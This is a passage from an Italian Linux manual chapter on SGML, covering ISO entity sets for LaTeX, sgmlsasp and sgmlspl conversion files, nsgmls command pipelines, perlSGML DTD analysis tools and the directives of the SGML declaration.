<!ENTITY Uacute CDATA "\'U"--=capital U, acute accent-->
<!ENTITY ucirc  CDATA "\^u"--=small u, circumflex accent-->
<!ENTITY Ucirc  CDATA "\^U"--=capital U, circumflex accent-->
<!ENTITY ugrave CDATA "\`u"--=small u, grave accent-->
<!ENTITY Ugrave CDATA "\`U"--=capital U, grave accent-->
<!ENTITY uuml   CDATA '\"u'--=small u, dieresis or umlaut mark-->
<!ENTITY Uuml   CDATA '\"U'--=capital U, dieresis or umlaut mark-->
<!ENTITY yacute CDATA "\'y"--=small y, acute accent-->
<!ENTITY Yacute CDATA "\'Y"--=capital Y, acute accent-->
<!ENTITY yuml   CDATA '\"y'--=small y, dieresis or umlaut mark-->
```

```
<!-- (C) International Organization for Standardization 1986
     Permission to copy in any form is granted for use with
     conforming SGML systems and applications as defined in
     ISO 8879, provided this notice is included in all copies.
-->
<!-- Character entity set. Typical invocation:
     <!ENTITY % ISOnum PUBLIC
       "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN">
     %ISOnum;
-->
<!ENTITY half   CDATA "$\scriptstyle{1\over2}$"--=fraction one-half-->
<!ENTITY frac12 CDATA "\sfrac1/2"--=fraction one-half-->
<!ENTITY frac14 CDATA "\sfrac1/4"--=fraction one-quarter-->
<!ENTITY frac34 CDATA "\sfrac3/4"--=fraction three-quarters-->
<!ENTITY frac18 CDATA "\sfrac1/8"--=fraction one-eighth-->
<!ENTITY frac38 CDATA "\sfrac3/8"--=fraction three-eighths-->
<!ENTITY frac58 CDATA "\sfrac5/8"--=fraction five-eighths-->
<!ENTITY frac78 CDATA "\sfrac7/8"--=fraction seven-eighths-->

<!ENTITY sup1   CDATA "$^1$"--=superscript one-->
<!ENTITY sup2   CDATA "$^2$"--=superscript two-->
<!ENTITY sup3   CDATA "$^3$"--=superscript three-->

<!ENTITY plus   CDATA "$+$"--=plus sign B:-- >
<!ENTITY plusmn CDATA "$\pm$"--/pm B: =plus-or-minus sign-->
<!ENTITY lt     CDATA "$<$"--=less-than sign R:-->
<!ENTITY equals CDATA "$=$"--=equals sign R:-->
<!ENTITY gt     CDATA "$>$"--=greater-than sign R:-->
<!ENTITY divide CDATA "$\div$"--/div B: =divide sign-->
<!ENTITY times  CDATA "$\times$"--/times B: =multiply sign-->
```

```
<!ENTITY curren CDATA "\{curren\}"--=general currency sign-->
<!ENTITY pound  CDATA "\pounds{}"--=pound sign-->
<!ENTITY dollar CDATA "\$"--=dollar sign-->
<!ENTITY cent   CDATA "\cent{}"--=cent sign-->
<!ENTITY yen    CDATA "\{yen\}"--/yen =yen sign-->

<!ENTITY num    CDATA "\#"--=number sign-->
<!ENTITY percnt CDATA "\%"--=percent sign-->
<!ENTITY amp    CDATA "\&"--=ampersand-->
<!ENTITY ast    CDATA "*"--/ast B: =asterisk-->
<!ENTITY commat CDATA "@"--=commercial at-->
<!ENTITY lsqb   CDATA "["--/lbrack O: =left square bracket-->
<!ENTITY bsol   CDATA "$\backslash$"--/backslash =reverse solidus-->
<!ENTITY rsqb   CDATA "]"--/rbrack C: =right square bracket-->
<!ENTITY lcub   CDATA "$\{$"--/lbrace O: =left curly bracket-->
<!ENTITY horbar CDATA "{--}"--=horizontal bar-->
<!ENTITY verbar CDATA "$|$"--/vert =vertical bar-->
<!ENTITY rcub   CDATA "$\}$"--/rbrace C: =right curly bracket-->
<!ENTITY micro  CDATA "$\mu$"--=micro sign-->
<!ENTITY ohm    CDATA "$\Omega$"--=ohm sign-->
<!ENTITY deg    CDATA "$^\circ$"--=degree sign-->
<!ENTITY ordm   CDATA "\{ordm\}"--=ordinal indicator, masculine-->
<!ENTITY ordf   CDATA "\{ordf\}"--=ordinal indicator, feminine-->
<!ENTITY sect   CDATA "\S{}"--=section sign-->
<!ENTITY para   CDATA "\P{}"--=pilcrow (paragraph sign)-->
<!ENTITY middot CDATA "$\cdot$"--/centerdot B: =middle dot-->
<!ENTITY larr   CDATA "$\leftarrow$"--/leftarrow /gets A: =leftward arrow-->
<!ENTITY rarr   CDATA "$\rightarrow$"--/rightarrow /to A: =rightward arrow-->
<!ENTITY uarr   CDATA "$\uparrow$"--/uparrow A: =upward arrow-->
<!ENTITY darr   CDATA "$\downarrow$"--/downarrow A: =downward arrow-->
<!ENTITY copy   CDATA "\copyright{}"--=copyright sign-->
<!ENTITY reg    CDATA "\rcircle{}"--/circledR =registered sign-->
<!ENTITY trade  CDATA "(TM)"--=trade mark sign-->
<!ENTITY brvbar CDATA "\{brvbar\}"--=broken (vertical) bar-->
<!ENTITY not    CDATA "$\neg$"--/neg /lnot =not sign-->
<!ENTITY sung   CDATA "\{sung\}"--=music note (sung text sign)-->

<!ENTITY excl   CDATA "!"--=exclamation mark-->
<!ENTITY iexcl  CDATA "{!`}"--=inverted exclamation mark-->
<!ENTITY quot   CDATA '{\tt\char`\"}'--=quotation mark-->
<!ENTITY apos   CDATA "'"--=apostrophe-->
<!ENTITY lpar   CDATA "("--O: =left parenthesis-->
<!ENTITY rpar   CDATA ")"--C: =right parenthesis-->
<!ENTITY comma  CDATA ","--P: =comma-->
<!ENTITY lowbar CDATA "\_"--=low line-->
<!ENTITY hyphen CDATA "-"--=hyphen-->
<!ENTITY period CDATA "."--=full stop, period-->
<!ENTITY sol    CDATA "/"--=solidus-->
<!ENTITY colon  CDATA ":"--/colon P:-->
<!ENTITY semi   CDATA ";"--=semicolon P:-->
<!ENTITY quest  CDATA "?"--=question mark-->
```

```
<!ENTITY iquest CDATA "{?`}"--=inverted question mark-->
<!ENTITY laquo  CDATA "\guillemotleft{}"--=angle quotation mark, left-->
<!ENTITY raquo  CDATA "\guillemotright{}"--=angle quotation mark, right-->
<!ENTITY lsquo  CDATA "{`}"--=single quotation mark, left-->
<!ENTITY rsquo  CDATA "{'}"--=single quotation mark, right-->
<!ENTITY ldquo  CDATA "{``}"--=double quotation mark, left-->
<!ENTITY rdquo  CDATA "{''}"--=double quotation mark, right-->
<!ENTITY nbsp   CDATA "~"--=no break (required) space-->
<!ENTITY shy    CDATA "\-"--=soft hyphen-->
```

```
<!-- (C) International Organization for Standardization 1986
     Permission to copy in any form is granted for use with
     conforming SGML systems and applications as defined in
     ISO 8879, provided this notice is included in all copies.
-->
<!-- Character entity set. Typical invocation:
     <!ENTITY % ISOdia PUBLIC
       "ISO 8879:1986//ENTITIES Diacritical Marks//EN">
     %ISOdia;
-->
<!ENTITY acute  CDATA "\'"--=acute accent-->
<!ENTITY breve  CDATA "\u{"--=breve-->
<!ENTITY caron  CDATA "\{caron\}"--=caron-->
<!ENTITY cedil  CDATA "\c{"--=cedilla-->
<!ENTITY circ   CDATA "\^{}"--=circumflex accent-->
<!ENTITY dblac  CDATA "\{dblac\}"--=double acute accent-->
<!ENTITY die    CDATA '\"'--=dieresis-->
<!ENTITY dot    CDATA "\."--=dot above-->
<!ENTITY grave  CDATA "\`"--=grave accent-->
<!ENTITY macr   CDATA "\="--=macron-->
<!ENTITY ogon   CDATA "\{ogon\}"--=ogonek-->
<!ENTITY ring   CDATA "\accent23"--=ring-->
<!ENTITY tilde  CDATA "\~{}"--=tilde-->
<!ENTITY uml    CDATA '\"'--=umlaut mark-->
```

63.2.4.4 Rimpiazzo ASP

L'ultimo componente necessario è il file di rimpiazzo ASP per '**`sgmlsasp`**', oppure il file delle specifiche per '**`sgmlspl`**'. Vengono mostrati entrambi.

```
%
% mappa.tex
%
<relazione>     +       "\\documentclass{article}\n"
                        "\\begin{document}"             +

</relazione>    +       "\\end{document}"       +
```

```
<titolo>        +       "\n\\section{"
</titolo>               "}"             +

<data>          +       "\n"
</data>                 ""      +

<contenuto>
</contenuto>

<paragrafo>     +       "\n"
</paragrafo>            ""      +

<firma>         +       "\n"
</firma>                ""      +
```

```
#
# latex.spec
#
sgml( '<RELAZIONE>', sub {
    output "\n\\documentclass{article}\n";
    output "\\begin{document}";
});
sgml( '</RELAZIONE>', "\n\\end{document}\n" );

sgml( '<TITOLO>', "\n\n\\section{" );
sgml( '</TITOLO>', "}\n" );

sgml( '<DATA>', "\n\n" );
sgml( '</DATA>', "" );

sgml( '<CONTENUTO>', "" );
sgml( '</CONTENUTO>', "" );

sgml( '<PARAGRAFO>', "\n\n" );
sgml( '</PARAGRAFO>', "" );

sgml( '<FIRMA>', "\n\n" );
sgml( '</FIRMA>', "" );
```

63.2.4.5 I documenti SGML

Quello che segue è un esempio di documento SGML adatto al DTD e al catalogo che è stato definito sopra.

```
<!doctype relazione SYSTEM>

<relazione>
```

```
<titolo>Relazione introduttiva su SGML</titolo>

<data>31/12/1999</data>

<contenuto>

<paragrafo>SGML sta per Standard Generalized Markup Language.
bla bla bla... Perch&eacute;,... cos&igrave;...

<paragrafo>Bla, bla, bla....

<firma>Pinco Pallino</firma>

</contenuto>
</relazione>
```

63.2.4.6 I comandi necessari

Una volta scritto un testo SGML, la prima cosa da fare è la verifica di coerenza in base al DTD. Se il file da controllare fosse '`relazione.sgml`', si dovrebbe utilizzare il comando seguente (si presume che il file del catalogo sia collocato nella directory corrente).

$ **`nsgmls -s -c ./catalogo < relazione.sgml`** [*Invio*]

Una volta corretti gli errori, si può passare direttamente alla trasformazione in LaTeX, ma se lo si desidera, si può osservare l'output generato da '**`nsgmls`**'.

$ **`nsgmls -c ./catalogo < relazione.sgml`** [*Invio*]

Se si tratta dell'esempio di documento mostrato in precedenza, il risultato dovrebbe essere il seguente (una riga molto lunga appare spezzata per motivi tipografici).

```
(RELAZIONE
(TITOLO
-Relazione introduttiva su SGML
)TITOLO
(DATA
-31/12/1999
)DATA
(CONTENUTO
(PARAGRAFO
SGML sta per Standard Generalized Markup Language.\nbla bla ↩
↪bla... Perch\\'e,... cos\\`\\i{}...
)PARAGRAFO
(PARAGRAFO
-Bla, bla, bla....
)PARAGRAFO
(FIRMA
-Pinco Pallino
```

```
)FIRMA
)CONTENUTO
)RELAZIONE
C
```

Vale la pena di concentrare l'attenzione proprio sulla riga più lunga, nella quale si può osservare l'effetto delle sostituzioni delle entità standard, secondo le esigenze di LaTeX.:

```
(PARAGRAFO
SGML sta per Standard Generalized Markup Language.\nbla bla ↵
↪bla... Perch\\'e,... cos\\'\\i{}...
)PARAGRAFO
```

Il comando completo per ottenere una trasformazione in LaTeX, secondo il contenuto del file di rimpiazzo ('`mappa.tex`'), è il seguente:

$ **`cat relazione.sgml | nsgmls -c ./catalogo | sgmlsasp mappa.tex`** [*Invio*]

Ovvero, nel caso si utilizzi '**`sgmlspl`**':

$ **`cat relazione.sgml | nsgmls -c ./catalogo | sgmlspl latex.spec`** [*Invio*]

Il risultato ottenuto attraverso lo standard output, che andrebbe ridiretto opportunamente, potrebbe apparire come quello che segue.

```
\documentclass{article}
\begin{document}

\section{Relazione introduttiva su SGML}

31/12/1999

SGML sta per Standard Generalized Markup Language.
bla bla bla... Perch\'e,... cos\'\i{}...

Bla, bla, bla....

Pinco Pallino
\end{document}
```

63.2.5 Lo scalino successivo

Una volta capito come si possono utilizzare gli strumenti SGML comuni, si pongono subito due tipi di problemi: la gestione simultanea di più sistemi di composizione e l'astrazione dal problema della rappresentazione dei simboli che in uno qualunque dei sistemi di composizione richiederebbero codici speciali. Vengono analizzati questi due problemi separatamente.

63.2.5.1 Gestione simultanea di più sistemi di composizione

Quando si organizza un DTD allo scopo di costruire un sistema SGML per la composizione finale in più formati (PostScript, HTML ed eventualmente altro ancora), occorre definire quali siano gli obiettivi, stabilendo così anche i limiti che si devono imporre nel DTD (se si pretende di generare anche un risultato in forma di file di testo puro e semplice, le immagini potrebbero essere inserite nel documento solo in forma di «arte ASCII»).

Dopo il progetto del DTD e del modo in cui devono essere trasformati i vari elementi nelle diverse forme di composizione, si pone un ostacolo un po' fastidioso: le entità generali. Dal momento che queste dovrebbero essere definite in modo differente a seconda del tipo di composizione che si vuole ottenere, si rischia di dover gestire altrettanti cataloghi, dovendo fare riferimento a file differenti.

In un sistema SGML ben ordinato, ci dovrebbe essere un solo catalogo e il problema della distinzione delle entità generali si può ottenere attraverso l'uso delle sezioni marcate. Infatti, dal momento che i file delle entità esterne sono parte del DTD, si possono indicare anche altre istruzioni SGML oltre a quelle di definizione delle entità generali. Quello che segue è un estratto semplificato e abbreviato dal file delle entità esterne utilizzato da ALtools (un vecchio sistema di composizione di *Appunti Linux*).

```
<![CDATA[
<!ENTITY % EntitaASCII8 "IGNORE">
<!ENTITY % EntitaLaTeX "IGNORE">
<!ENTITY % EntitaHTML "IGNORE">

<![ %EntitaASCII8 [
    <!ENTITY excl   CDATA "!"-- exclamation mark -->
    <!ENTITY quot   CDATA '"'-- quotation mark -->
    <!ENTITY num    CDATA "#"-- number sign -->
    …
    …
]]>

<![ %EntitaLaTeX [
    <!ENTITY excl   CDATA "!"-- exclamation mark -->
    <!ENTITY quot   CDATA '{\tt\char`\"}'-- quotation mark -->
    <!ENTITY num    CDATA "\#"-- number sign -->
    …
    …
]]>

<![ %EntitaHTML [
    <!ENTITY excl   CDATA "!"-- exclamation mark -->
    <!ENTITY quot   CDATA '"'-- quotation mark -->
    <!ENTITY num    CDATA "#"-- number sign -->
    …
    …
]]>
```

Nella parte iniziale vengono dichiarate le entità parametriche '**`EntitaASCII8`**', '**`EntitaLaTeX`**' e '**`EntitaHTML`**', tutte con la stringa '**`IGNORE`**'. In questo modo, in condizioni normali, nessuna delle istruzioni di definizioni delle entità generali verrebbe presa in considerazione. Per selezionare un gruppo soltanto, basterebbe che l'entità parametrica giusta contenesse la stringa '**`INCLUDE`**'. Per farlo si interviene direttamente nella riga di comando di '**`nsgmls`**' (SP):

```
cat file_sgml | nsgmls -c catalogo -ientità_parametrica | …
```

In pratica, con l'opzione '**`-i`**' di '**`nsgmls`**', si fa in modo di introdurre una dichiarazione del tipo

```
<!ENTITY % entità_parametrica "INCLUDE">
```

e questa prevale automaticamente su qualunque altra dichiarazione analoga (della stessa entità parametrica) in qualunque altra parte del DTD.

Per tornare all'esempio mostrato del file delle entità generali, si potrebbero selezionare le entità riferite alla trasformazione in LaTeX con un comando simile a quello seguente:

```
$ cat mio_file.sgml | nsgmls -c ./catalogo -iEntitaLaTeX | ... [Invio]
```

63.2.5.2 Insieme di caratteri

Attraverso le entità generali che si definiscono, è possibile fare in modo che il sistema di composizione finale riceva i codici adatti per tutti i simboli «strani» che si vogliono poter inserire. Tuttavia, spesso si vorrebbe poter scrivere liberamente utilizzando il minor numero possibile di macro '**`&…;`**'. Per la precisione, il minimo in assoluto è quello che richiede l'SGML stesso: occorre proteggere i simboli '**`&`**', '**`>`**' e '**`<`**' ('**`&`**', '**`>`**', '**`<`**'). Tutto il resto, non dà alcun fastidio all'analizzatore SGML, però i programmi di composizione potrebbero avere dei problemi differenti.

Anche senza uscire dai 7 bit dell'ASCII tradizionali, se si scrive qualcosa per LaTeX, non si possono usare direttamente caratteri normalissimi come '**`#`**', '**`\`**', '**`$`**' e altri.

Per risolvere questo problema una volta per tutte, si utilizza una tecnica che impone una rielaborazione intermedia del risultato generato da SP dall'analisi del sorgente SGML. Questa tecnica si basa sull'uso di entità generali di tipo '**`SDATA`**'. Quando queste vengono sostituite dallo stesso analizzatore SGML, appaiono delimitate dalla sequenza '**`\|`**', cosa che ne facilita l'individuazione da parte di un programma di rielaborazione.

Figura 63.140. Passaggi per risolvere il problema dell'insieme dei caratteri.

file SGML

DTD + entità (1)

nsgmls (2)

trasformazine dei simboli in entità SDATA (3)

trasformazione delle entità SDATA in codici adatti al sistema di composizione finale (4)

trasformazione del formato finale di composizione (5)

sistema di composizione

In questo modo si perde il vantaggio di lasciare fare all'SGML la sostituzione delle entità, però ci si può limitare a intervenire solo dove serve.

Quando si decide di intraprendere questo tipo di approccio, occorre ricordare che l'elaborazione dell'output di '**nsgmls**' deve evitare di intervenire negli elementi «letterali», ovvero quelli che anche nel sistema di composizione finale vengono presi e riprodotti tali e quali.

La descrizione seguente fa riferimento alla figura 63.140.

1. Le entità riferite ai simboli che possono creare problemi vengono definite in una qualche forma simbolica specificando il tipo '**SDATA**'. Per esempio, il carattere '**#**' potrebbe essere definito nel modo standard:

```
<!ENTITY num     SDATA "[num   ]"-- number sign -->
```

2. '**sgmls**' elabora il file SGML e sostituisce le entità. Quando incontra per esempio la macro '**#**', la trasforma in '**\|[num   ]\|**'.

3. Un programma di elaborazione successivo, quando incontra per esempio il carattere '**#**', lo trasforma in quello che sarebbe stato generato se fosse stata usata la macro '**#**'; in pratica lo trasforma in '**\|[num   ]\|**'.

4. A questo punto, i simboli come '**#**' che potrebbero provocare problemi sono stati trasformati tutti nella forma '**\|[num   ]\|**'. Quindi, un programma si deve occupare di trasformarli nel modo adatto al sistema di composizione a cui si devono poi dare in pasto

i dati. Nel caso di LaTeX, la stringa '**`\|[num ]\|`**' viene sostituita con '**`\\#`**'. Nel risultato finale, LaTeX richiede solo la stringa '**`\#`**', ma fino a che si resta nell'ambito del risultato generato da '**`nsgmls`**', le barre oblique inverse devono essere raddoppiate.

5. Attraverso '**`sgmlsasp`**', oppure '**`sgmlspl`**', si genera il risultato finale da passare al sistema di composizione.

63.2.6 Organizzazione degli strumenti SGML in una distribuzione GNU/Linux

Non sempre le distribuzioni GNU/Linux si occupano di organizzare gli strumenti SGML, mentre questo sarebbe molto importante per tutti gli sviluppatori di programmi riferiti a questo standard e a quelli derivati. A questo proposito, vale la pena di osservare la distribuzione Debian che mette in pratica alcune buone idee.

Il problema fondamentale sta nello stabilire la collocazione dei DTD e dei file delle entità generali relative. Infine, si tratta di definire un catalogo unico per tutti questi DTD e per i file delle entità. I file dei DTD vengono collocati nella directory '`/usr/share/sgml/dtd/`', mentre quelli delle entità si trovano nella directory '`/usr/share/sgml/entities/`'. A questo punto, per facilitare l'indicazione dei file nel catalogo, questo dovrebbe trovarsi opportunamente nella directory '`/etc/sgml/`', con il nome '`catalog`'; così il file del catalogo può essere aggiornato senza interferire con la gerarchia '`/usr/`' che deve poter essere innestata in sola lettura.

Avendo organizzato tutto in questo modo, ogni volta che si installa un nuovo pacchetto di strumenti SGML, questo dovrebbe provvedere ad aggiungere nel catalogo standard tutte le dichiarazioni che lo riguardano.

La base di questa struttura nella distribuzione Debian è costituita dai pacchetti '`sgml-base_*.deb`' e '`sgml-data_*.deb`'.

63.2.7 perlSGML: analisi di un DTD

Quando si realizza un DTD per qualche scopo, potrebbe essere importante disporre di strumenti adatti alla sua analisi, per verificare la sua coerenza con l'obiettivo che ci si pone. Sono importanti a questo proposito i programmi di servizio del pacchetto perlSGML. Qui ne vengono mostrati solo alcuni.

> In generale, per fare in modo che questi programmi di analisi funzionino correttamente, è opportuno che la directory corrente nel momento in cui si avviano corrisponda a quella in cui si trova il catalogo, in maniera tale che poi da lì, possa trovare le entità che fossero state collocate eventualmente in un file esterno. Se poi il file del catalogo non si chiama '`catalog`', occorre usare l'opzione opportuna per indicare il nome corretto.

Il primo programma che qui viene preso in considerazione a proposito di perlSGML è '**`dtd2html`**':

`dtd2html` [*opzioni*] *file_dtd*...

'**dtd2html**' genera un rapporto sui DTD elencati alla fine degli argomenti, in forma di ipertesto HTML.

Tabella 63.142. Alcune opzioni.

Opzione	Descrizione
`-help`	Emette un riepilogo dell'utilizzo del programma.
`-catalog` ***catalogo***	Permette di indicare il nome del file contenente il catalogo SGML. In mancanza di questa opzione, viene cercato il file '`catalog`' nella directory corrente.
`-outdir` ***directory***	Permette di specificare una directory diversa da quella corrente, nella quale vanno generate le pagine HTML.
`-ents`	Fa in modo che venga aggiunta una pagina HTML con l'elenco delle entità dichiarate nel corpo principale del DTD.
`-tree`	Fa in modo che venga aggiunta una pagina HTML con l'albero degli elementi SGML collegati tra loro in base alle dipendenze relative.

Segue la descrizione di alcuni esempi.

- `$` **`dtd2html dtd/mio.dtd`** [*Invio*]

  Analizza il file '`./dtd/mio.dtd`' utilizzando il catalogo '`./catalog`' e generando i file HTML nella directory corrente.

- `$` **`dtd2html -catalog catalogo dtd/mio.dtd`** [*Invio*]

  Come nell'esempio precedente, specificando che il catalogo è contenuto nel file '`./catalogo`'.

- `$` **`dtd2html -catalog catalogo -outdir /tmp dtd/mio.dtd`** [*Invio*]

  Come nell'esempio precedente, richiedendo che i file HTML siano creati nella directory '`/tmp/`'.

- `$` **`dtd2html -catalog catalogo -outdir /tmp -ents`** ↩
  ↪ **`dtd/mio.dtd`** [*Invio*]

  Come nell'esempio precedente, richiedendo anche la generazione di una pagina dedicata alle entità dichiarate nel DTD.

- `$` **`dtd2html -catalog catalogo -outdir /tmp -ents -tree dtd/mio.dtd`** [*Invio*]

  Come nell'esempio precedente, richiedendo anche la generazione di una pagina contenente l'albero degli elementi.

Il programma '**dtddiff**' permette di confrontare due DTD, per conoscere le differenze di contenuto tra i due. Il risultato viene emesso attraverso lo standard output:

```
dtddiff [opzioni] file_dtd file_dtd
```

Tabella 63.143. Alcune opzioni.

Opzione	Descrizione
`-help`	Emette un riepilogo dell'utilizzo del programma.
`-catalog` ***catalogo***	Permette di indicare il nome del file contenente il catalogo SGML. In mancanza di questa opzione, viene cercato il file '`catalog`' nella directory corrente.

Segue la descrizione di alcuni esempi.

- `$` **`dtddiff -catalog catalogo dtd/mio.dtd dtd2/mio.dtd`**[*Invio*]

  Confronta i DTD '`./dtd/mio.dtd`' e '`./dtd/mio2.dtd`', utilizzando il catalogo '`./catalogo`'.

63.3 Dichiarazione SGML

Fino a questo punto è stata ignorata la dichiarazione SGML, che in generale non dovrebbe essere un problema per l'utilizzatore, ma rappresenta pur sempre un elemento determinante per la comprensione della filosofia di questo linguaggio.

La dichiarazione SGML è qualcosa che viene prima del DTD; serve a definire la forma del sorgente e alcune caratteristiche del linguaggio utilizzato. Attraverso la dichiarazione si possono modificare molti comportamenti convenzionali, facendo anche cambiare aspetto notevolmente al linguaggio stesso. Tutto quello che è stato descritto di SGML fino a questo punto, fa affidamento sulla dichiarazione SGML raccomandata, ma volendo si potrebbero cambiare molte cose. Per fare un esempio pratico, XML può essere inteso come un modo di utilizzare SGML in base a una dichiarazione particolare, realizzata per le esigenze specifiche della pubblicazione di documentazione attraverso la rete.

La dichiarazione SGML si fa generalmente in un file apposito; tutte le direttive sono contenute all'interno di un'istruzione sola del tipo seguente:

```
<!SGML "ISO 8879:1986"
...
...
...
>
```

In pratica, nel modello mostrato, le direttive occupano il posto dei puntini di sospensione.

Si osservi che lo standard originale ISO prevedeva la definizione '**`8879-1986`**', che successivamente è stata modificata nel modo mostrato, ovvero '**`8879:1986`**'. Lo stesso ragionamento vale per gli altri standard ISO che prevedono l'indicazione dell'anno.

Esiste una variante recente allo standard ISO 8879:1996 e precisamente si tratta di cambiamenti pensati per facilitare la comunicazione attraverso la rete. La stringa che fa riferimento a questo standard esteso è:

```
"ISO 8879:1986 (WWW)"
```

La si ritrova in particolare nella dichiarazione dell'HTML 4.* e nell'XML.

In questo capitolo vengono mostrate solo alcune direttive che possono essere utili per capire il senso della dichiarazione SGML. Per approfondire lo studio di questo linguaggio, bisogna procurarsi la documentazione originale ISO.

63.3.1 Codifica

La codifica dei caratteri utilizzata nel sorgente SGML non può essere ignorata, soprattutto perché alcuni codici hanno significati speciali che vanno oltre il carattere vero e proprio. Le direttive riferite alla codifica del sorgente iniziano con la parola chiave '**`CHARSET`**' che delimita la sezione relativa:

```
CHARSET
    definizione_riferita_all'insieme_di_caratteri
    ...
```

In generale, si inizia con la definizione di un insieme standard di riferimento, attraverso l'uso di un identificatore standard:

```
BASESET insieme_di_caratteri
```

L'identificatore che definisce lo standard è normalmente una stringa abbastanza dettagliata. L'esempio seguente definisce l'insieme di partenza corrispondente all'ISO 646:1983, ovvero all'ASCII tradizionale:

```
    BASESET     "ISO 646:1983//CHARSET
                International Reference Version (IRV)//ESC 2/5 4/0"
```

La direttiva appare su due righe, ma si tratta solo di una possibilità e non di una necessità, tanto che in alcuni casi la si può vedere anche distribuita su tre righe. Dopo la definizione dell'insieme di partenza, si può descrivere nel dettaglio l'utilizzo e la conversione dei codici corrispondenti ai caratteri:

```
DESCSET
    inizio    quantità    {corrispondenza|UNUSED}
    ...
```

Si osservi l'esempio:

```
    DESCSET
          0   9 UNUSED
          9   2  9
         11   2 UNUSED
         13   1 13
         14  18 UNUSED
         32  95 32
        127   1 UNUSED
```

Il primo numero indica il codice corrispondente al carattere iniziale di un raggruppamento composto da una sequenza di ***n*** caratteri; il secondo valore indica una quantità di caratteri che possono essere ignorati oppure anche trasformati, partendo dal codice rappresentato dal terzo valore.

Nell'esempio, i codici che vanno da 0 a 8, in decimale (nel senso che si tratta di valori espressi in base 10), non sono utilizzati; inoltre i codici da 9 a 10 vengono convertiti con il codice 9 e seguenti (in pratica non vengono convertiti affatto). In sostanza, ciò che mostra l'esempio non ha lo scopo di convertire alcunché, ma solo di filtrare codici inutili: vengono lasciati passare i caratteri grafici, a partire dallo spazio, oltre a *<HT>*, *<LF>* e *<CR>*. Volendo esprimere la cosa in modo più esplicito, si possono usare anche dei commenti descrittivi:

```
    DESCSET
          0   9 UNUSED
          9   1  9        -- HT --
         10   1 10        -- LF --
         11   2 UNUSED
         13   1 13        -- CR --
         14  18 UNUSED
         32  95 32        -- SP e altri caratteri grafici --
        127   1 UNUSED
```

La sequenza di direttive '**`BASESET`**' e '**`DESCSET`**' può anche essere ripetuta, quando dopo l'ASCII normale, i primi 7 bit, si vuole fare riferimento a qualcosa di più. Per esempio, la dichiarazione relativa alla codifica dell'HTML 3.2, si presenta come si vede di seguito:

```
CHARSET
     BASESET  "ISO 646:1983//CHARSET
               International Reference Version
               (IRV)//ESC 2/5 4/0"
     DESCSET  0   9   UNUSED
              9   2   9
              11  2   UNUSED
              13  1   13
              14  18  UNUSED
              32  95  32
              127 1   UNUSED
     BASESET  "ISO Registration Number 100//CHARSET
               ECMA-94 Right Part of
               Latin Alphabet Nr. 1//ESC 2/13 4/1"
     DESCSET  128  32   UNUSED
              160  96    32
```

Rispetto a quanto già visto si aggiunge il riferimento allo standard ISO 8859-1 (Latin 1). Si può vedere che vengono esclusi i primi 32 codici a partire dal numero 128, che non contengono simboli grafici utili.

63.3.2 Capacità

Per qualche ragione storica, che ormai non avrebbe più motivo di sussistere, è prevista una sezione attraverso la quale si definisce la capacità elaborativa dell'analizzatore SGML. Si tratta di stabilire dei limiti di spazio per la gestione di una serie di informazioni. In generale, non dovrebbe essere determinante la dimensione da dare ai vari attributi riferiti a questa capacità; tuttavia, si tratta di un'indicazione che rimane, per la quale si fa riferimento allo standard, oppure si indica semplicemente che non ci sono limiti. Nel primo caso si indica,

```
CAPACITY PUBLIC  "ISO 8879:1986//CAPACITY Reference//EN"
```

nel secondo soltanto

```
CAPACITY NONE
```

A titolo di esempio si mostra anche la direttiva relativa riferita all'HTML 3.2 e 4:

```
CAPACITY        SGMLREF
                TOTALCAP        150000
                GRPCAP          150000
                ENTCAP          150000
```

Si osservi la parola chiave '**`SGMLREF`**' che può essere usata anche altrove. Rappresenta il riferimento ai valori predefiniti SGML, prima di modificarli o integrarli con le richieste successive.

63.3.3 Ambito

La sintassi del linguaggio SGML può essere alterata in parte, attraverso una serie di direttive descritte nella prossima sezione. L'ambito della definizione della sintassi SGML può essere controllato attraverso la direttiva '**SCOPE**':

```
SCOPE DOCUMENT|INSTANCE
```

La direttiva '**SCOPE DOCUMENT**' indica che la sintassi si applica sia al DTD, sia al sorgente SGML; nell'altro caso, '**SCOPE INSTANCE**' si riferisce solo al sorgente, mentre il DTD va interpretato in base alla sintassi standard predefinita (la ***sintassi concreta di riferimento***).

Di solito si usa la direttiva '**SCOPE DOCUMENT**'.

63.3.4 Sintassi concreta

La ***sintassi concreta*** è ciò che definisce i delimitatori dei marcatori SGML, il ruolo dei codici di controllo e altri dettagli riferiti alla sintassi SGML. In particolare si parla di sintassi concreta di riferimento quando si vuole indicare quella predefinita, ovvero quella a cui si fa riferimento di solito. Le direttive che compongono la definizione della sintassi concreta sono introdotte dalla sezione '**SYNTAX**', a cui spesso segue la stringa di un identificatore pubblico, per richiamare inizialmente una serie di caratteristiche standard che poi vengono alterate o integrate dalle direttive successive:

```
SYNTAX   PUBLIC  "ISO 8879:1986//SYNTAX Reference//EN"
```

63.3.4.1 Caratteri da evitare

La prima cosa che si specifica all'interno della dichiarazione della sintassi concreta è l'elenco dei numeri decimali corrispondenti ai codici, o caratteri, che non devono essere usati nel testo del sorgente. Questi non vengono passati all'applicazione successiva dall'analizzatore SGML. All'interno dei codici esclusi in questo modo ci possono essere comunque simboli o caratteri di controllo che servono in altri ambiti, come viene mostrato in seguito.

> La codifica a cui si fa riferimento, non è quella ottenuta dopo la trasformazione con la direttiva '**DESCSET**' della sezione '**CHARSET**', ma quella della stessa direttiva della sezione '**SYNTAX**', come viene descritto tra poco.

La direttiva in questione è molto semplice; spesso, quando si tratta dell'ASCII, si utilizza direttamente l'esempio seguente:

```
    SHUNCHAR CONTROLS 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
             17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 127
```

63.3.4.2 Codifica nell'ambito della sintassi concreta

Nell'ambito della definizione della sintassi concreta, è necessario specificare nuovamente la codifica di partenza e la conversione eventuale. Tutto procede esattamente come è già stato visto in precedenza, nella sezione '**CHARSET**', con la differenza che in generale si preferisce lasciare tutto come si trova:

```
BASESET  "ISO 646:1983//CHARSET
         International Reference Version
         (IRV)//ESC 2/5 4/0"
DESCSET  0 128 0
```

L'esempio si riferisce al caso in cui si utilizzi solo l'ASCII. Comunque, si può osservare che la direttiva '**DESCSET**' non esclude alcunché e non trasforma alcun carattere.

63.3.4.3 Codici con funzioni speciali

